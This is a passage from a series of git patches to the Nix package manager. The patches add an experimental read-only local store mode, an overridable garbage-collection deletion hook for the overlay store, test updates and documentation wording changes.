13:47:31 +0100 Subject: [PATCH 0040/1251] Throw error instead of silently skipping CA migration. --- src/libstore/local-store.cc | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 99fb9f434..c25aa0e72 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -355,8 +355,12 @@ LocalStore::LocalStore(const Params & params) else openDB(*state, false); - if (!readOnly && experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { - migrateCASchema(state->db, dbDir + "/ca-schema", globalLock); + if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { + if (!readOnly) { + migrateCASchema(state->db, dbDir + "/ca-schema", globalLock); + } else { + throw Error("need to migrate to CA schema, but this cannot be done in read-only mode"); + } } /* Prepare SQL statements. */ From 0c36fe6c8cb4af5558c3a6a75240ef3b01510084 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Thu, 18 May 2023 14:36:24 +0100 Subject: [PATCH 0041/1251] Update test to match new error message. --- tests/read-only-store.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/read-only-store.sh b/tests/read-only-store.sh index 72d855d42..408ffa63f 100644 --- a/tests/read-only-store.sh +++ b/tests/read-only-store.sh @@ -12,7 +12,7 @@ happy () { ## Testing read-only mode without forcing the underlying store to actually be read-only # Make sure the command fails when the store doesn't already have a database -expectStderr 1 nix-store --store local?read-only=true --add dummy | grepQuiet "unable to create database while in read-only mode" +expectStderr 1 nix-store --store local?read-only=true --add dummy | grepQuiet "database does not exist, and cannot be created in read-only mode" # Make sure the store actually has a current-database, with at least one store object dummyPath=$(nix-store --add dummy) From 72518000860b56f5cd08a3b3a4fdfc61c021e2e2 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Mon, 22 May 2023 11:38:37 +0100 Subject: [PATCH 0042/1251] Put read-only setting behind an experimental flag. --- src/libstore/local-store.cc | 4 ++++ src/libutil/experimental-features.cc | 18 +++++++++++++++++- src/libutil/experimental-features.hh | 1 + 3 files changed, 22 insertions(+), 1 deletion(-) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index c25aa0e72..4188d413f 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -202,6 +202,10 @@ LocalStore::LocalStore(const Params & params) createSymlink(profilesDir, gcRootsDir + "/profiles"); } + if (readOnly) { + experimentalFeatureSettings.require(Xp::ReadOnlyLocalStore); + } + for (auto & perUserDir : {profilesDir + "/per-user", gcRootsDir + "/per-user"}) { createDirs(perUserDir); if (!readOnly) { diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc index ad0ec0427..29f5b84db 100644 --- a/src/libutil/experimental-features.cc +++ b/src/libutil/experimental-features.cc @@ -12,7 +12,7 @@ struct ExperimentalFeatureDetails std::string_view description; }; -constexpr std::array xpFeatureDetails = {{ +constexpr std::array xpFeatureDetails = {{ { .tag = Xp::CaDerivations, .name = "ca-derivations", @@ -209,6 +209,22 @@ constexpr std::array xpFeatureDetails = {{ files. )", }, + { + .tag = Xp::ReadOnlyLocalStore, + .name = "read-only-local-store", + .description = R"( + Allow the use of the `read-only` parameter in local store URIs. + + Set this parameter to `true` to allow stores with databases on read-only + filesystems to be opened for querying; ordinarily Nix will refuse to do this. + + Enabling this setting disables the locking required for safe concurrent + access, so you should be certain that the database will not be changed. + While the filesystem the database resides on might be read-only to this + process, consider whether another user, process, or system, might have + write access to it. + )", + }, }}; static_assert( diff --git a/src/libutil/experimental-features.hh b/src/libutil/experimental-features.hh index 409100592..19d425b6d 100644 --- a/src/libutil/experimental-features.hh +++ b/src/libutil/experimental-features.hh @@ -30,6 +30,7 @@ enum struct ExperimentalFeature DiscardReferences, DaemonTrustOverride, DynamicDerivations, + ReadOnlyLocalStore, }; /** From d6ea3b6a19b7d48a7fb4cc03b0eaf080217fa84f Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Mon, 22 May 2023 12:14:07 +0100 Subject: [PATCH 0043/1251] Need to enable read-only-local-store flag for test. --- tests/read-only-store.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tests/read-only-store.sh b/tests/read-only-store.sh index 408ffa63f..2f89b849f 100644 --- a/tests/read-only-store.sh +++ b/tests/read-only-store.sh @@ -1,5 +1,7 @@ source common.sh +enableFeatures "read-only-local-store" + clearStore happy () { From c47f744e05d8c80bd65083b0fc0fbfef2ff0c08f Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Thu, 1 Jun 2023 14:14:13 +0100 Subject: [PATCH 0044/1251] Also skip makeStoreWritable when read-only=true. --- src/libstore/local-store.cc | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 4188d413f..17385cdfb 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -190,7 +190,11 @@ LocalStore::LocalStore(const Params & params) /* Create missing state directories if they don't already exist. */ createDirs(realStoreDir); - makeStoreWritable(); + if (readOnly) { + experimentalFeatureSettings.require(Xp::ReadOnlyLocalStore); + } else { + makeStoreWritable(); + } createDirs(linksDir); Path profilesDir = stateDir + "/profiles"; createDirs(profilesDir); @@ -202,10 +206,6 @@ LocalStore::LocalStore(const Params & params) createSymlink(profilesDir, gcRootsDir + "/profiles"); } - if (readOnly) { - experimentalFeatureSettings.require(Xp::ReadOnlyLocalStore); - } - for (auto & perUserDir : {profilesDir + "/per-user", gcRootsDir + "/per-user"}) { createDirs(perUserDir); if (!readOnly) { From 98edbb968617b2478f52ab527bc4b1a75933b8c6 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 24 May 2023 11:24:07 +0100 Subject: [PATCH 0045/1251] Factor out GC path deletion so it can be overridden. --- src/libstore/gc-store.hh | 7 +++++++ src/libstore/gc.cc | 11 +++++++++-- 2 files changed, 16 insertions(+), 2 deletions(-) diff --git a/src/libstore/gc-store.hh b/src/libstore/gc-store.hh index 2c26c65c4..da1551056 100644 --- a/src/libstore/gc-store.hh +++ b/src/libstore/gc-store.hh @@ -97,6 +97,13 @@ struct GcStore : public virtual Store * Perform a garbage collection. */ virtual void collectGarbage(const GCOptions & options, GCResults & results) = 0; + + /** + * Called by `collectGarbage` to recursively delete a path. + * The default implementation simply calls `deletePath`, but it can be + * overridden by stores that wish to provide their own deletion behaviour. + */ + virtual void deleteGCPath(const Path & path, uint64_t & bytesFreed); }; } diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc index 3c9544017..959f4d3b1 100644 --- a/src/libstore/gc.cc +++ b/src/libstore/gc.cc @@ -654,7 +654,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) results.paths.insert(path); uint64_t bytesFreed; - deletePath(realPath, bytesFreed); + deleteGCPath(realPath, bytesFreed); + results.bytesFreed += bytesFreed; if (results.bytesFreed > options.maxFreed) { @@ -872,7 +873,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) if (unlink(path.c_str()) == -1) throw SysError("deleting '%1%'", path); - /* Do not accound for deleted file here. Rely on deletePath() + /* Do not account for deleted file here. Rely on deletePath() accounting. */ } @@ -890,6 +891,12 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) } +void GcStore::deleteGCPath(const Path & path, uint64_t & bytesFreed) +{ + deletePath(path, bytesFreed); +} + + void LocalStore::autoGC(bool sync) { static auto fakeFreeSpaceFile = getEnv("_NIX_TEST_FREE_SPACE_FILE"); From a48acfd68424960c9a7a5d4eeb1af2a7ea91835d Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Wed, 24 May 2023 11:26:33 +0100 Subject: [PATCH 0046/1251] Skip deletion of lower paths for overlay store GC. --- src/libstore/local-overlay-store.cc | 14 +++++++++++++- src/libstore/local-overlay-store.hh | 2 ++ 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index ab7af6aea..f42b37324 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -182,7 +182,7 @@ void LocalOverlayStore::addToStore(const ValidPathInfo & info, Source & source, LocalStore::addToStore(info, source, repair, checkSigs); if (lowerStore->isValidPath(info.path)) { // dedup stores - deletePath(toUpperPath(info.path)); + deletePath(toUpperPath(info.path)); // TODO: Investigate whether this can trigger 'stale file handle' errors. } } @@ -214,6 +214,18 @@ StorePath LocalOverlayStore::addTextToStore( } +void LocalOverlayStore::deleteGCPath(const Path & path, uint64_t & bytesFreed) +{ + auto mergedDir = realStoreDir.get() + "/"; + if (path.substr(0, mergedDir.length()) != mergedDir) { + warn("local-overlay: unexpected gc path '%s' ", path); + return; + } + if (pathExists(toUpperPath({path.substr(mergedDir.length())}))) { + GcStore::deleteGCPath(path, bytesFreed); + } +} + static RegisterStoreImplementation regLocalOverlayStore; } diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 6f798c460..701024bfb 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -122,6 +122,8 @@ private: void queryRealisationUncached(const DrvOutput&, Callback> callback) noexcept override; + + void deleteGCPath(const Path & path, uint64_t & bytesFreed) override; }; } From 8a9baa0a3091bd2ebd8d6027e0130c8b6dec76c5 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 6 Jun 2023 12:06:32 +0100 Subject: [PATCH 0047/1251] More sensible to have deleteGCPath in LocalStore. --- src/libstore/gc-store.hh | 7 ------- src/libstore/gc.cc | 6 ------ src/libstore/local-overlay-store.cc | 2 +- src/libstore/local-store.cc | 6 ++++++ src/libstore/local-store.hh | 7 +++++++ 5 files changed, 14 insertions(+), 14 deletions(-) diff --git a/src/libstore/gc-store.hh b/src/libstore/gc-store.hh index da1551056..2c26c65c4 100644 --- a/src/libstore/gc-store.hh +++ b/src/libstore/gc-store.hh @@ -97,13 +97,6 @@ struct GcStore : public virtual Store * Perform a garbage collection. */ virtual void collectGarbage(const GCOptions & options, GCResults & results) = 0; - - /** - * Called by `collectGarbage` to recursively delete a path. - * The default implementation simply calls `deletePath`, but it can be - * overridden by stores that wish to provide their own deletion behaviour. - */ - virtual void deleteGCPath(const Path & path, uint64_t & bytesFreed); }; } diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc index 959f4d3b1..80875efed 100644 --- a/src/libstore/gc.cc +++ b/src/libstore/gc.cc @@ -891,12 +891,6 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) } -void GcStore::deleteGCPath(const Path & path, uint64_t & bytesFreed) -{ - deletePath(path, bytesFreed); -} - - void LocalStore::autoGC(bool sync) { static auto fakeFreeSpaceFile = getEnv("_NIX_TEST_FREE_SPACE_FILE"); diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index f42b37324..061478c52 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -222,7 +222,7 @@ void LocalOverlayStore::deleteGCPath(const Path & path, uint64_t & bytesFreed) return; } if (pathExists(toUpperPath({path.substr(mergedDir.length())}))) { - GcStore::deleteGCPath(path, bytesFreed); + LocalStore::deleteGCPath(path, bytesFreed); } } diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 17385cdfb..172fa1ef0 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -457,6 +457,12 @@ AutoCloseFD LocalStore::openGCLock() } +void LocalStore::deleteGCPath(const Path & path, uint64_t & bytesFreed) +{ + deletePath(path, bytesFreed); +} + + LocalStore::~LocalStore() { std::shared_future future; diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 46a660c68..fcddffa82 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -222,6 +222,13 @@ public: void collectGarbage(const GCOptions & options, GCResults & results) override; + /** + * Called by `collectGarbage` to recursively delete a path. + * The default implementation simply calls `deletePath`, but it can be + * overridden by stores that wish to provide their own deletion behaviour. + */ + virtual void deleteGCPath(const Path & path, uint64_t & bytesFreed); + /** * Optimise the disk space usage of the Nix store by hard-linking * files with the same contents. From ee1241da8649fb310f8b5ac28d27f3c08117cdf9 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 6 Jun 2023 12:12:25 +0100 Subject: [PATCH 0048/1251] Remove unnecessary overrides of add methods. --- src/libstore/local-overlay-store.cc | 38 ----------------------------- src/libstore/local-overlay-store.hh | 12 --------- 2 files changed, 50 deletions(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 061478c52..ddccb8c5a 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -176,44 +176,6 @@ void LocalOverlayStore::registerValidPaths(const ValidPathInfos & infos) } -void LocalOverlayStore::addToStore(const ValidPathInfo & info, Source & source, - RepairFlag repair, CheckSigsFlag checkSigs) -{ - LocalStore::addToStore(info, source, repair, checkSigs); - if (lowerStore->isValidPath(info.path)) { - // dedup stores - deletePath(toUpperPath(info.path)); // TODO: Investigate whether this can trigger 'stale file handle' errors. - } -} - - -StorePath LocalOverlayStore::addToStoreFromDump(Source & dump, std::string_view name, - FileIngestionMethod method, HashType hashAlgo, RepairFlag repair, const StorePathSet & references) -{ - auto path = LocalStore::addToStoreFromDump(dump, name, method, hashAlgo, repair, references); - if (lowerStore->isValidPath(path)) { - // dedup stores - deletePath(toUpperPath(path)); - } - return path; -} - - -StorePath LocalOverlayStore::addTextToStore( - std::string_view name, - std::string_view s, - const StorePathSet & references, - RepairFlag repair) -{ - auto path = LocalStore::addTextToStore(name, s, references, repair); - if (lowerStore->isValidPath(path)) { - // dedup stores - deletePath(toUpperPath(path)); - } - return path; -} - - void LocalOverlayStore::deleteGCPath(const Path & path, uint64_t & bytesFreed) { auto mergedDir = realStoreDir.get() + "/"; diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 701024bfb..e6b877b04 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -108,18 +108,6 @@ private: void registerValidPaths(const ValidPathInfos & infos) override; - void addToStore(const ValidPathInfo & info, Source & source, - RepairFlag repair, CheckSigsFlag checkSigs) override; - - StorePath addToStoreFromDump(Source & dump, std::string_view name, - FileIngestionMethod method, HashType hashAlgo, RepairFlag repair, const StorePathSet & references) override; - - StorePath addTextToStore( - std::string_view name, - std::string_view s, - const StorePathSet & references, - RepairFlag repair) override; - void queryRealisationUncached(const DrvOutput&, Callback> callback) noexcept override; From 7ed0ab2dabececd84578ddf70ecad0e528d67a28 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Thu, 15 Jun 2023 12:48:06 +0100 Subject: [PATCH 0049/1251] Check _NIX_TEST_NO_SANDBOX when setting _canUseSandbox. --- tests/common/vars-and-functions.sh.in | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/common/vars-and-functions.sh.in b/tests/common/vars-and-functions.sh.in index dc7ce13cc..ad0623871 100644 --- a/tests/common/vars-and-functions.sh.in +++ b/tests/common/vars-and-functions.sh.in @@ -141,7 +141,7 @@ restartDaemon() { startDaemon } -if [[ $(uname) == Linux ]] && [[ -L /proc/self/ns/user ]] && unshare --user true; then +if [[ -z "${_NIX_TEST_NO_SANDBOX:-}" ]] && [[ $(uname) == Linux ]] && [[ -L /proc/self/ns/user ]] && unshare --user true; then _canUseSandbox=1 fi From fad0dd4afb66577f9c17b5a315d120ac0f5acd94 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Thu, 15 Jun 2023 12:58:59 +0100 Subject: [PATCH 0050/1251] Skip build-remote-trustless unless sandbox is supported. --- tests/build-remote-trustless-should-fail-0.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/build-remote-trustless-should-fail-0.sh b/tests/build-remote-trustless-should-fail-0.sh index fad1def59..b14101f83 100644 --- a/tests/build-remote-trustless-should-fail-0.sh +++ b/tests/build-remote-trustless-should-fail-0.sh @@ -2,6 +2,7 @@ source common.sh enableFeatures "daemon-trust-override" +requireSandboxSupport restartDaemon [[ $busybox =~ busybox ]] || skipTest "no busybox" From 264b644c534418f3a27b7e6013afa4aee7bdf89c Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Thu, 15 Jun 2023 13:22:17 +0100 Subject: [PATCH 0051/1251] More detail on why read-only mode disables locking. --- src/libutil/experimental-features.cc | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc index b758a0262..1fbc99b34 100644 --- a/src/libutil/experimental-features.cc +++ b/src/libutil/experimental-features.cc @@ -223,11 +223,14 @@ constexpr std::array xpFeatureDetails = {{ Set this parameter to `true` to allow stores with databases on read-only filesystems to be opened for querying; ordinarily Nix will refuse to do this. - Enabling this setting disables the locking required for safe concurrent - access, so you should be certain that the database will not be changed. - While the filesystem the database resides on might be read-only to this - process, consider whether another user, process, or system, might have - write access to it. + This is because SQLite requires write access to the database file to perform + the file locking operations necessary for safe concurrent access. When `read-only` + is set to `true`, the database will be opened in immutable mode. + + Under this mode, SQLite will not do any locking at all, so you should be certain + that the database will not be changed. While the filesystem the database resides + on might be read-only to this process, consider whether another user, process, + or system, might have write access to it. )", }, }}; From 7cdaa0b8a626004b19b87b1eec74d1adb5f20263 Mon Sep 17 00:00:00 2001 From: Ben Radford <104896700+benradf@users.noreply.github.com> Date: Thu, 15 Jun 2023 13:25:15 +0100 Subject: [PATCH 0052/1251] Update tests/read-only-store.sh Co-authored-by: Valentin Gagarin --- tests/read-only-store.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tests/read-only-store.sh b/tests/read-only-store.sh index 2f89b849f..d63920c19 100644 --- a/tests/read-only-store.sh +++ b/tests/read-only-store.sh @@ -2,6 +2,8 @@ source common.sh enableFeatures "read-only-local-store" +needLocalStore "cannot open store read-only when daemon has already opened it writeable" + clearStore happy () { From 78e2f931d048f9c41e5432cd8e49bf6bc0c3baae Mon Sep 17 00:00:00 2001 From: Ben Radford <104896700+benradf@users.noreply.github.com> Date: Thu, 15 Jun 2023 13:32:16 +0100 Subject: [PATCH 0053/1251] Update src/libstore/local-store.cc Co-authored-by: Valentin Gagarin --- src/libstore/local-store.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 17385cdfb..364be5dd5 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -363,7 +363,7 @@ LocalStore::LocalStore(const Params & params) if (!readOnly) { migrateCASchema(state->db, dbDir + "/ca-schema", globalLock); } else { - throw Error("need to migrate to CA schema, but this cannot be done in read-only mode"); + throw Error("need to migrate to content-addressed schema, but this cannot be done in read-only mode"); } } From 984b01924a58dc80b0e5da7722ccfa108cbca036 Mon Sep 17 00:00:00 2001 From: Ben Radford <104896700+benradf@users.noreply.github.com> Date: Thu, 15 Jun 2023 13:32:35 +0100 Subject: [PATCH 0054/1251] Update src/libstore/local-store.cc Co-authored-by: Valentin Gagarin --- src/libstore/local-store.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 364be5dd5..e69460e6c 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -496,7 +496,7 @@ int LocalStore::getSchema() void LocalStore::openDB(State & state, bool create) { if (create && readOnly) { - throw Error("unable to create database while in read-only mode"); + throw Error("cannot create database while in read-only mode"); } if (access(dbDir.c_str(), R_OK | (readOnly ? 0 : W_OK))) From a7b1b92d817348669fc2cd34c085dae57ceed5b8 Mon Sep 17 00:00:00 2001 From: Ben Radford <104896700+benradf@users.noreply.github.com> Date: Thu, 15 Jun 2023 13:32:56 +0100 Subject: [PATCH 0055/1251] Update src/libstore/local-store.hh Co-authored-by: Valentin Gagarin --- src/libstore/local-store.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 31a6f4fd9..35c4febef 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -50,7 +50,7 @@ struct LocalStoreConfig : virtual LocalFSStoreConfig false, "read-only", R"( - Allow this store to be opened when its database is on a read-only filesystem. + Allow this store to be opened when its [database](@docroot@/glossary.md#gloss-nix-database) is on a read-only filesystem. Normally Nix will attempt to open the store database in read-write mode, even for querying (when write access is not needed). This causes it to fail if the From 4642b60afe2a79b00ae51ca1ec1fc35eb5a224c5 Mon Sep 17 00:00:00 2001 From: Ben Radford <104896700+benradf@users.noreply.github.com> Date: Thu, 15 Jun 2023 13:33:26 +0100 Subject: [PATCH 0056/1251] Update src/libstore/local-store.hh Co-authored-by: Valentin Gagarin --- src/libstore/local-store.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 35c4febef..a1ab3bb4d 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -57,7 +57,7 @@ struct LocalStoreConfig : virtual LocalFSStoreConfig database is on a read-only filesystem. Enable read-only mode to disable locking and open the SQLite database with the - **immutable** parameter set. Do not use this unless the filesystem is read-only. + [`immutable` parameter](https://www.sqlite.org/c3ref/open.html) set. Do not use this unless the filesystem is read-only. Using it when the filesystem is writable can cause incorrect query results or corruption errors if the database is changed by another process. )"}; From f2fe9822c14bc86e5da8f8cb97cb16a961ecc46f Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Thu, 15 Jun 2023 13:31:37 +0100 Subject: [PATCH 0057/1251] Comment explaining what schema version 0 means. --- src/libstore/local-store.hh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index a1ab3bb4d..dd563348b 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -285,6 +285,10 @@ public: private: + /** + * Retrieve the current version of the database schema. + * If the database does not exist yet, the version returned will be 0. + */ int getSchema(); void openDB(State & state, bool create); From f5d83a80293426b2f869af206b93b5cdfeb34ec9 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Thu, 15 Jun 2023 13:36:28 +0100 Subject: [PATCH 0058/1251] One line per sentence in markdown docs. --- src/libstore/local-store.hh | 14 +++++++------- src/libutil/experimental-features.cc | 14 +++++--------- 2 files changed, 12 insertions(+), 16 deletions(-) diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index dd563348b..0e7b1334f 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -52,14 +52,14 @@ struct LocalStoreConfig : virtual LocalFSStoreConfig R"( Allow this store to be opened when its [database](@docroot@/glossary.md#gloss-nix-database) is on a read-only filesystem. - Normally Nix will attempt to open the store database in read-write mode, even - for querying (when write access is not needed). This causes it to fail if the - database is on a read-only filesystem. + Normally Nix will attempt to open the store database in read-write mode, even for querying (when write access is not needed). + This causes it to fail if the database is on a read-only filesystem. - Enable read-only mode to disable locking and open the SQLite database with the - [`immutable` parameter](https://www.sqlite.org/c3ref/open.html) set. Do not use this unless the filesystem is read-only. - Using it when the filesystem is writable can cause incorrect query results or - corruption errors if the database is changed by another process. + Enable read-only mode to disable locking and open the SQLite database with the [`immutable` parameter](https://www.sqlite.org/c3ref/open.html) set. + + **Warning** + Do not use this unless the filesystem is read-only. + Using it when the filesystem is writable can cause incorrect query results or corruption errors if the database is changed by another process. )"}; const std::string name() override { return "Local Store"; } diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc index 1fbc99b34..9705c5b38 100644 --- a/src/libutil/experimental-features.cc +++ b/src/libutil/experimental-features.cc @@ -220,17 +220,13 @@ constexpr std::array xpFeatureDetails = {{ .description = R"( Allow the use of the `read-only` parameter in local store URIs. - Set this parameter to `true` to allow stores with databases on read-only - filesystems to be opened for querying; ordinarily Nix will refuse to do this. + Set this parameter to `true` to allow stores with databases on read-only filesystems to be opened for querying; ordinarily Nix will refuse to do this. - This is because SQLite requires write access to the database file to perform - the file locking operations necessary for safe concurrent access. When `read-only` - is set to `true`, the database will be opened in immutable mode. + This is because SQLite requires write access to the database file to perform the file locking operations necessary for safe concurrent access. + When `read-only` is set to `true`, the database will be opened in immutable mode. - Under this mode, SQLite will not do any locking at all, so you should be certain - that the database will not be changed. While the filesystem the database resides - on might be read-only to this process, consider whether another user, process, - or system, might have write access to it. + Under this mode, SQLite will not do any locking at all, so you should be certain that the database will not be changed. + While the filesystem the database resides on might be read-only to this process, consider whether another user, process, or system, might have write access to it. )", }, }}; From feb8d552aeca36adde5a9c25b92fd9eb205a761e Mon Sep 17 00:00:00 2001 From: Ben Radford <104896700+benradf@users.noreply.github.com> Date: Mon, 19 Jun 2023 13:22:41 +0100 Subject: [PATCH 0059/1251] Update src/libstore/local-store.hh Co-authored-by: Valentin Gagarin --- src/libstore/local-store.hh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 0e7b1334f..bd4794eb8 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -52,8 +52,7 @@ struct LocalStoreConfig : virtual LocalFSStoreConfig R"( Allow this store to be opened when its [database](@docroot@/glossary.md#gloss-nix-database) is on a read-only filesystem. - Normally Nix will attempt to open the store database in read-write mode, even for querying (when write access is not needed). - This causes it to fail if the database is on a read-only filesystem. + Normally Nix will attempt to open the store database in read-write mode, even for querying (when write access is not needed), causing it to fail if the database is on a read-only filesystem. Enable read-only mode to disable locking and open the SQLite database with the [`immutable` parameter](https://www.sqlite.org/c3ref/open.html) set. From ef40448b1cb33165af5522f72d5d352d66035671 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Mon, 19 Jun 2023 13:47:21 +0100 Subject: [PATCH 0060/1251] Remove redundant description on experimental flag. --- src/libstore/local-store.hh | 1 + src/libutil/experimental-features.cc | 8 -------- 2 files changed, 1 insertion(+), 8 deletions(-) diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index bd4794eb8..1af64c77b 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -59,6 +59,7 @@ struct LocalStoreConfig : virtual LocalFSStoreConfig **Warning** Do not use this unless the filesystem is read-only. Using it when the filesystem is writable can cause incorrect query results or corruption errors if the database is changed by another process. + While the filesystem the database resides on might appear to be read-only, consider whether another user or system might have write access to it. )"}; const std::string name() override { return "Local Store"; } diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc index 7c2b29a07..3a04083ed 100644 --- a/src/libutil/experimental-features.cc +++ b/src/libutil/experimental-features.cc @@ -226,14 +226,6 @@ constexpr std::array xpFeatureDetails = {{ .name = "read-only-local-store", .description = R"( Allow the use of the `read-only` parameter in local store URIs. - - Set this parameter to `true` to allow stores with databases on read-only filesystems to be opened for querying; ordinarily Nix will refuse to do this. - - This is because SQLite requires write access to the database file to perform the file locking operations necessary for safe concurrent access. - When `read-only` is set to `true`, the database will be opened in immutable mode. - - Under this mode, SQLite will not do any locking at all, so you should be certain that the database will not be changed. - While the filesystem the database resides on might be read-only to this process, consider whether another user, process, or system, might have write access to it. )", }, }}; From b09baa3bc31226cac5ccdbd7ba9d72a2ed389207 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Mon, 19 Jun 2023 13:57:10 +0100 Subject: [PATCH 0061/1251] Link to LocalStore section of nix3-help-stores section. --- src/libutil/experimental-features.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc index 3a04083ed..7c4112d32 100644 --- a/src/libutil/experimental-features.cc +++ b/src/libutil/experimental-features.cc @@ -225,7 +225,7 @@ constexpr std::array xpFeatureDetails = {{ .tag = Xp::ReadOnlyLocalStore, .name = "read-only-local-store", .description = R"( - Allow the use of the `read-only` parameter in local store URIs. + Allow the use of the `read-only` parameter in [local store](@docroot@/command-ref/new-cli/nix3-help-stores.md#local-store) URIs. )", }, }}; From ba492a98baa0fa37b0914e3f7d00f2859cef5bcd Mon Sep 17 00:00:00 2001 From: Ben Radford <104896700+benradf@users.noreply.github.com> Date: Mon, 19 Jun 2023 14:07:31 +0100 Subject: [PATCH 0062/1251] Update src/libstore/local-store.hh Co-authored-by: Valentin Gagarin --- src/libstore/local-store.hh | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 1af64c77b..8a3b0b43f 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -56,10 +56,11 @@ struct LocalStoreConfig : virtual LocalFSStoreConfig Enable read-only mode to disable locking and open the SQLite database with the [`immutable` parameter](https://www.sqlite.org/c3ref/open.html) set. - **Warning** - Do not use this unless the filesystem is read-only. - Using it when the filesystem is writable can cause incorrect query results or corruption errors if the database is changed by another process. - While the filesystem the database resides on might appear to be read-only, consider whether another user or system might have write access to it. + > **Warning** + > Do not use this unless the filesystem is read-only. + > + > Using it when the filesystem is writable can cause incorrect query results or corruption errors if the database is changed by another process. + > While the filesystem the database resides on might appear to be read-only, consider whether another user or system might have write access to it. )"}; const std::string name() override { return "Local Store"; } From 4e72b8483ede9242ddde99eb8011b18098172444 Mon Sep 17 00:00:00 2001 From: Ben Radford <104896700+benradf@users.noreply.github.com> Date: Mon, 19 Jun 2023 16:01:43 +0100 Subject: [PATCH 0063/1251] Update src/libstore/sqlite.hh Co-authored-by: John Ericson --- src/libstore/sqlite.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/sqlite.hh 